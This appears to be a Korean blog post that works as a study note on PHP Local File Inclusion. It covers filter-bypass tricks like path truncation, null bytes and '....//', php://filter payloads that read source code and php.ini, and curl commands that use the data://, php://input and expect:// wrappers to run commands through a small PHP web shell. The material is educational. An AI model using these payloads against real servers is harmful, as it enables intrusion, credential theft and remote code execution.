티스토리 뷰

97번째 글.

 

 

 

1. Local File Inclusion (LFI)

LFI 취약점은 언어, 웹서버, 프레임워크 종류에 상관없이 발생할 수 있는 취약점이다.

아래 기능 중 일부는 지정된 파일의 내용만 읽는 반면 다른 기능은 지정된 파일을 실행할 수 있다.
또한 원격 URL을 지정할 수 있는 경우도 있고, 백엔드 서버의 로컬 파일만 사용할 수 있는 경우도 있다.

파일을 읽는 것과 실행하는 것은 차이가 있을 수 있지만 파일을 읽는 행위만으로도 중요한 정보들(관리자 크리덴셜, 데이터베이스 계정 등)을 가져올 수 있음을 명심해야 한다. 소스코드를 읽을 수 있게 되면 화이트박스 테스트나 소스코드 오딧이 가능해지며 추가적인 취약점을 발견할 수도 있게 된다. 이 글에서는 PHP를 기준으로 설명한다.

함수 Read Content Execute Remote URL
PHP      
include()/include_once() O O O
require()/require_once() O O X
file_get_contents() O X O
fopen()/file() O X X
NodeJS      
fs.readFile() O X X
fs.sendFile() O X X
res.render() O O X
Java O X X
include O X X
import O O O
.NET      
@Html.Partial() O X X
@Html.RemotePartial() O X O
Response.WriteFile() O X X
include O O O

 

 

 

2. 취약한 유형

LFI 취약점은 주로 Path Traversal 취약점과 연계되어 이용된다.

 

2.1 Filename Prefix


아래의 코드와 같이 특정 문자가 사용자의 입력 값 앞에 붙는 경우가 있다.

이런 경우에는 ../../../etc/passwd 같은 페이로드는 먹히지 않고 접두사를 디렉터리로 인식하게 만들기 위해서

/../../../../etc/passwd 와 같이 입력해야한다.

include("lang_" . $_GET['language']);

 

2.2 Appended Extensions


매우 흔한 케이스로 아래와 같이 확장자가 사용자의 입력값 뒤에 붙는다.

이런 경우 Path Truncation이나 널 바이트를 이용한 우회가 가능하다.

include($_GET['language'] . ".php");

 

먼저 Path Truncation의 경우부터 살펴보자.

 

PHP에서 아래의 경우는 모두 /etc/passwd로 인식된다.

  • /etc/passwd/.
  • ////etc/passwd
  • /etc/./passwd

이전 버전의 PHP에서는 정의된 문자열의 최대 길이는 4096자이다. 파라미터를 통해 더 긴 문자열이 전달되면 최대 길이 이후의 모든 문자는 무시된다. 위의 경우를 이용하여 아래와 같이 페이로드를 전달하면 달라붙는 확장자를 제거시킬 수 있게 된다.

// url 최대 길이까지 /. 반복
?language=non_existing_diredctory/../../../../etc/passwd/./././././././././././.

하지만 정확히 '.php' 만 잘려야 하기 때문에 페이로드의 길이 계산 등 번거로움이 따른다.

 

널 바이트의 경우 특히 PHP 5.5 이전의 버전에서 취약한데, 문자열 끝에 (%00)을 추가하여 확장자를 우회할 수 있다.

널 바이트를 추가하면 문자열의 종료를 뜻하기 때문에 발생한다.

 

2.3 Non-Recursive Path Traversal Filters


아래의 코드와 같이 단순히 '../'를 공백으로 치환하면 '....//'를 입력하면 필터링 우회가 가능하다.

$language = str_replace('../', '', $_GET['language']);

 

또는 URL 인코딩을 이용하여 '.', '/'를 우회할 수도 있다. (5.3.4 버전에서 특히 취약)

더블 인코딩이 필요한 경우도 있음

 

 

 

3. Source Code Disclosure

PHP Filter는 PHP Wrapper의 일종으로, 다양한 유형의 입력을 전달하고 지정한 필터로 필터링할 수 있다.
base64 filter를 사용하여 read 파라미터에 convert.base64-encode를 넣고 아래와 같이 resource에 읽을 php 파일을 넣어준다. 결과 값이 base64로 인코딩 되어있기 때문에 이것을 디코딩하면 소스코드를 읽을 수 있게 된다.

?language=php://filter/read=convert.base64-encode/resource=config

 

 

 

4. PHP Wrapper

4.1 Data Wrapper


data wrapper는 외부의 데이터나 php 코드를 실행시키는 데 사용된다. 하지만 'allow_url_include' 설정이 On으로 되어있어야 한다. 그렇기 때문에 먼저 위의 php filter를 이용하여 PHP의 설정 파일을 읽어서 확인을 해야 한다. 설정 파일의 기본 경로는 '/etc/php/<version>/fpm/php.ini' 이다. 

?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini

 

설정이 'On'으로 되어있다면 아래와 같은 방법으로 RCE가 가능해진다.

echo '<?php system($_GET["cmd"]); ?>' | base64​
curl -s 'http://SERVER:PORT/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid

 

4.2 Input Wrapper


data wrapper와 동일하지만 POST 요청으로 보내야 한다.

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://SERVER:PORT/index.php?language=php://input&cmd=id" | grep uid

 

4.3 Expect Wrapper


expect wrapper는 Input, data wrapper처럼 코드를 작성할 필요 없이 URL 스트림을 통해 명령어를 직접 실행할 수 있다.
그러나 expect는 외부 wrapper이므로 백엔드 서버에서 수동으로 설치하고 사용하도록 설정해야 한다. 만약 expect 모듈이 설치되어있으면 LFI를 이용하여 RCE가 가능해진다. (마찬가지로 설정 파일을 읽을 수 있다면 expect가 깔려있는지 확인할 수 있음)

curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

 

 

 

Reference